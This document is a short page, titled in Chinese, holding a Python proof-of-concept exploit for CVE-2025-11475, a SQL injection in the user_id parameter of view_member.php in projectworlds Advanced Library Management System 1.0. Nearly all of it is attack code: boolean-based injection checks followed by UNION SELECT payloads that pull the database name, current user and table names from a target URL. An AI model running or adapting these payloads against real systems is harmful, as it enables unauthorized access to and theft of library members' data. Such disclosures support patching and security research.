CVE-2025-11475：Advanced Library Management System SQL注入漏洞

# CVE-2025-11475 PoC - SQL Injection in view_member.php # Target: projectworlds Advanced Library Management System 1.0 # Vulnerable parameter: user_id import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" VULNERABLE_ENDPOINT = "/view_member.php" def check_injection(url): """Check if the target is vulnerable to SQL injection""" # Normal request normal_payload = {"user_id": "1"} try: r_normal = requests.get(url + VULNERABLE_ENDPOINT, params=normal_payload, timeout=10) normal_length = len(r_normal.text) except Exception as e: print(f"[ERROR] Cannot connect to target: {e}") return False # Boolean-based injection test true_payload = {"user_id": "1' AND '1'='1"} false_payload = {"user_id": "1' AND '1'='2"} r_true = requests.get(url + VULNERABLE_ENDPOINT, params=true_payload, timeout=10) r_false = requests.get(url + VULNERABLE_ENDPOINT, params=false_payload, timeout=10) if len(r_true.text) != len(r_false.text) and len(r_true.text) == normal_length: print("[+] Target is vulnerable to SQL injection!") return True else: print("[-] Target does not appear to be vulnerable.") return False def extract_data(url): """Extract database information using UNION-based injection""" # Determine number of columns for i in range(1, 20): cols = ",".join([str(x) for x in range(1, i+1)]) payload = f"-1' UNION SELECT {cols}-- -" r = requests.get(url + VULNERABLE_ENDPOINT, params={"user_id": payload}, timeout=10) if "error" not in r.text.lower() and len(r.text) > 0: print(f"[+] Number of columns: {i}") num_cols = i break # Extract database name payload = f"-1' UNION SELECT {','.join(['NULL']*(num_cols-1))},database()-- -" r = requests.get(url + VULNERABLE_ENDPOINT, params={"user_id": payload}, timeout=10) print(f"[+] Database info retrieved. Check response for details.") # Extract current user payload = f"-1' UNION SELECT {','.join(['NULL']*(num_cols-1))},user()-- -" r = requests.get(url + VULNERABLE_ENDPOINT, params={"user_id": payload}, timeout=10) print(f"[+] User info retrieved. Check response for details.") # Extract table names payload = f"-1' UNION SELECT {','.join(['NULL']*(num_cols-1))},group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- -" r = requests.get(url + VULNERABLE_ENDPOINT, params={"user_id": payload}, timeout=10) print(f"[+] Tables info retrieved. Check response for details.") if __name__ == "__main__": print(f"[*] Testing CVE-2025-11475 against {TARGET_URL}") if check_injection(TARGET_URL): extract_data(TARGET_URL)